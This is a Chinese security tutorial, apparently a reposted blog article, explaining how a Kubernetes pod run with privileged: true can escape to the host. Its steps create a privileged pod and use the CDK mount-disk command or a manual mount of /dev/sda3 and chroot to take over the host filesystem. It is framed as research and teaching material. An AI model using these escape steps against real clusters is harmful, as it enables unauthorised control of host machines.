文章前言
当容器启动加上--privileged选项时,容器可以访问宿主机上所有设备,而K8s配置文件如果启用了"privileged: true"也可以实现挂载操作
前置知识
Security Context(安全上下文),用于定义Pod或Container的权限和访问控制,Kubernetes提供了三种配置Security Context的方法:
-
Pod Security Policy:应用于集群级别
-
Pod-level Security Context:应用于Pod级别
-
Container-level Security Context:应用于容器级别
容器级别:仅应用到指定的容器上,并且不会影响Volume
apiVersion: v1
kind: Pod
metadata:
name: hello-world
spec:
containers:
name: hello-world-container
image: ubuntu:latest
securityContext:
privileged: true
Pod级别:应用到Pod内所有容器,会影响Volume
apiVersion: v1
kind: Pod
metadata:
name: hello-world
spec:
containers:
securityContext:
fsGroup: 1234
supplementalGroups: [5678]
seLinuxOptions:
level: "s0:c123,c456"
PSP,集群级别:PSP是集群级的Pod安全策略,自动为集群内的Pod和Volume设置Security Context
具体实现
Step 1:使用docker拉取ubuntu镜像到本地
sudo docker pull ubuntu
Step 2:创建一个Pod
apiVersion: v1
kind: Pod
metadata:
name: myapp-test
spec:
containers:
image: ubuntu:latest
name: ubuntu
securityContext:
privileged: true
Step 2:创建Pod
kubectl create -f myapp-test.yaml
Step 3:进入Pod进行逃逸操作
#进入pod
kubectl exec -it myapp-test /bin/bash
#查看磁盘
fdisk -l
Step 4:查看权限
cat /proc/self/status | grep CapEff
Step 5:使用CDK进行逃逸
./cdk run mount-disk
在容器内部进入挂载目录,直接管理宿主机磁盘文件(多少有一些问题)
Step 6:手动操作又存在以下问题:
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash
原文始发于微信公众号(七芒星实验室):集群安全之Privileged特权模式逃逸
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论